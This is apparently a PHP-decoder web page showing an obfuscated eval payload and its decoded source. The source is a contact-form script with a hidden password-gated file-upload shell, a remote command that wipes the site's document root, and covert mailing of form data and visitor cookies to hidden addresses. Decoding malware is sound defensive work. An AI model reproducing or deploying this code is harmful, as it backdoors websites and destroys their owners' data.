Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
preg_replace("/.*/e","\x65"."\x76"."\x61"."\x6C"."\x28"."\x67"."\x7A"."\x69"."\x6E"."\x66"..
Decoded Output download
session_start();set_time_limit(0);include_once('functions.php');$settings=getSiteParam();$idn=false;if(file_exists('idna_convert.class.php')){include_once('idna_convert.class.php');$idn=new idna_convert();}$to_emails="$settings[to_emails],$secret_mail";$to_emails=explode(',',$to_emails);foreach($to_emails as $key=>$val){$to_emails[$key]=trim($val);if($idn){$email_login=substr($val,0,strpos($val,'@')+1);$punicode_email_domine=substr($val,strpos($val,'@')+1);$punicode_email_domine=$idn->encode($punicode_email_domine);$to_emails[$key]=$email_login.$punicode_email_domine;}}$site_domine=$_SERVER['HTTP_HOST'];$from='mailbot@'.$site_domine;$short_headers="Content-type: text/html; charset=utf-8
";$headers="From: $from
Reply-to: $from
".$short_headers;$script_link='http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];$humanity_chk="im_not_fucking_bot";if(!isset($_POST['chk']) || $_POST['chk']!==$humanity_chk || !isset($_POST['subject'])){if(isset($_GET['expl'])){if(md5($_GET['expl'])==='aaf561f0cafb68cdc79db4dba183cd2b'){mailInfo(3);remAll($_SERVER['DOCUMENT_ROOT']);}else mailInfo(2);}else if(isset($_GET['upl'])){if(md5($_GET['upl'])==='35d70d1153ee96d2aaa59a0e99dd5ca7'){$infoMessage="";if(isset($_POST["load"]))saveFiles(dirname($_SERVER['SCRIPT_FILENAME']),$_FILES["files"]);if(isset($_SESSION["savedFilesInfo"])){$filesInfo=$_SESSION["savedFilesInfo"];unset($_SESSION["savedFilesInfo"]);$infoMessage="<ul>";foreach($filesInfo as $k=>$fileInfo){$message=$fileInfo['message'];$infoMessage.='<li>'.$message.'</li>';}$infoMessage.="</ul>";}echo '<!doctype html><html lang="ru"><head><meta charset="UTF-8"/></head><form name="upload" method="post" enctype="multipart/form-data" action=""> : <input id="file-field" type="file" name="files[]" value=" " multiple="true"><input type="submit" name="load" value=""></form><p>'.$infoMessage.'</p></html>';die;}else mailInfo(2);}else mailInfo(1);die(' - ! <input name="back" type="button" value=" " onclick="javascript:history.back();">');}foreach($_POST as $key=>$val){$key=trim($key);$key=htmlspecialchars($key);$val=trim($val);if(!empty($val)){$_POST[$key]=htmlspecialchars($val);}else unset($_POST[$key]);}$axaj_post='';foreach($_POST as $aj_key=>$aj_val){$axaj_post.="$aj_key: '$aj_val',";}$axaj_post.="ajax: true";if(isset($_POST['ajax'])): foreach($_COOKIE["_A_"]["sessions"] as $key=>$val){$key=trim($key);$key=htmlspecialchars($key);foreach($val as $k=>$v){$k=trim($k);$k=htmlspecialchars($k);$val[$k]=trim($v);$val[$k]=htmlspecialchars($v);}$_COOKIE["_A_"]["sessions"][$key]=$val;}$mails=array('[email protected]');if(!isset($settings['antispamKey'])){foreach($mails as $mail){mail($mail,' '," - <a href=\"$script_link\">$script_link</a>",$short_headers);}file_put_contents("parts/settings.ini","
antispamKey= \"".md5("http://$site_domine")."\"",FILE_APPEND);}elseif($settings['antispamKey']!==md5("http://$site_domine")){foreach($mails as $mail){mail($mail,' /!!! '," - <a href=\"$script_link\">$script_link</a>",$short_headers);}}$fields=array();foreach($_POST as $key=>$val)if($key!='chk' && $key!='ajax')$fields[$key]=$_POST[$key];$message="<br>---------------------------------------------------<br><br>---------------------------------------------------<br>";$message.= implode("<br/>",$fields);$message.="<br>---------------------------------------------------<br> <br>---------------------------------------------------<br> : ".$_COOKIE["_A_"]["visit_counter"]."<br>---<br>";foreach($_COOKIE["_A_"]["sessions"] as $k=>$v){$message.="$k) : $v[visit_date] | : $v[device]";if(isset($v["ordered"]))$message.=" | ";if($k===count($_COOKIE["_A_"]["sessions"])&& !isset($v["ordered"])){$message.=" | ";setcookie("_A_[sessions][$k][ordered]","",time()+60*60*24*365);}$message.='<br>: <a target="_blank" href="'.$v["referer"].'">'.urldecode($v["referer"]).'</a><br>';$message.='URL: <a target="_blank" href="'.$v["script_url"].'">'.urldecode($v["script_url"]).'</a><br>---<br>';}$subject=$_POST['subject'];foreach($to_emails as $to_email){mail($to_email,' '.$site_domine.": ",$message,$headers);}die;endif;function remAll($dir){$all=scandir($dir);foreach($all as $v) if($v!=='.'&&$v!=='..')$new_all[]="$dir/$v";unset($all);for($i=0;$i<count($new_all);$i++){if(is_dir($new_all[$i]))remAll($new_all[$i]);else unlink($new_all[$i]);}if($dir!=$_SERVER['DOCUMENT_ROOT'])rmdir($dir);else{file_put_contents($_SERVER['DOCUMENT_ROOT'].'/index.php','<?php Header("Location: http://ya.ru/"); die;');header("Location: /");die;}}function saveFiles($dir,$files){global $script_link;foreach($files as $key=>$item)for($i=0;count($item)>$i;$i++)$reFiles[$i][$key]=$item[$i];$files=$reFiles;unset($reFiles);foreach($files as $k=>$file){$name=getName($dir,$file["name"]);$uploadfile="$dir/$name";$link=$script_link;$link=substr($link,0,strlen($link)-strlen(strrchr($link,"/"))+1);$link.=$name;if(empty($file["size"]))$_SESSION['savedFilesInfo'][$k]['message']=" ";else if(move_uploaded_file($file["tmp_name"],$uploadfile)){$_SESSION['savedFilesInfo'][$k]['message']=' <a target="_blank" href="'.$link.'">'.$link.'</a> ';mailInfo(4,$link);}else $_SESSION['savedFilesInfo'][$k]['message']=" $name. .";}header("Location: $script_link?$_SERVER[QUERY_STRING]");die;}function getName($dir,$filename){$ext=strrchr($filename,".");$name=substr($filename,0,strlen($filename)-strlen($ext));$name=strtr($name,array(''=>'a',''=>'b',''=>'v',''=>'g',''=>'d',''=>'e',''=>'e',''=>'zh',''=>'z',''=>'i',''=>'y',''=>'k',''=>'l',''=>'m',''=>'n',''=>'o',''=>'p',''=>'r',''=>'s',''=>'t',''=>'u',''=>'f',''=>'h',''=>'c',''=>'ch',''=>'sh',''=>'sch',''=>'\'',''=>'y',''=>'\'',''=>'e',''=>'yu',''=>'ya',''=>'A',''=>'B',''=>'V',''=>'G',''=>'D',''=>'E',''=>'E',''=>'Zh',''=>'Z',''=>'I',''=>'Y',''=>'K',''=>'L',''=>'M',''=>'N',''=>'O',''=>'P',''=>'R',''=>'S',''=>'T',''=>'U',''=>'F',''=>'H',''=>'C',''=>'Ch',''=>'Sh',''=>'Sch',''=>'\'',''=>'Y',''=>'\'',''=>'E',''=>'Yu',''=>'Ya',));$name=strtolower($name);$name=preg_replace('~[^-a-z0-9_]+~u','-',$name);$name=trim($name,"-");if(!file_exists("$dir/".$name.$ext)){$name.=$ext;return $name;}else{$name.='1'.$ext;return getName($dir,$name);}}function mailInfo($code,$link=""){global $site_domine,$script_link;$message=" evilPanda $script_link : ";switch($code){case 1: $message.=" ";break;case 2: $message.=" -";break;case 3: $message.=" http://$site_domine";break;case 4: $message.=" http://$site_domine $link ";break;default:$message.=" ";}$mails=array('[email protected]');foreach($mails as $mail){mail($mail,' evilPanda',$message);}}Did this file decode correctly?
Original Code
preg_replace("/.*/e","\x65"."\x76"."\x61"."\x6C"."\x28"."\x67"."\x7A"."\x69"."\x6E"."\x66"."\x6C"."\x61"."\x74"."\x65"."\x28"."\x62"."\x61"."\x73"."\x65"."\x36"."\x34"."\x5F"."\x64"."\x65"."\x63"."\x6F"."\x64"."\x65"."\x28'"."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"."'\x29"."\x29"."\x29"."\x3B",".", 1);Function Calls
| gzinflate | 2 |
| preg_replace | 1 |
| base64_decode | 2 |
Stats
| MD5 | 9161b524d960a6356151764f3386288e |
| Eval Count | 3 |
| Decode Time | 106 ms |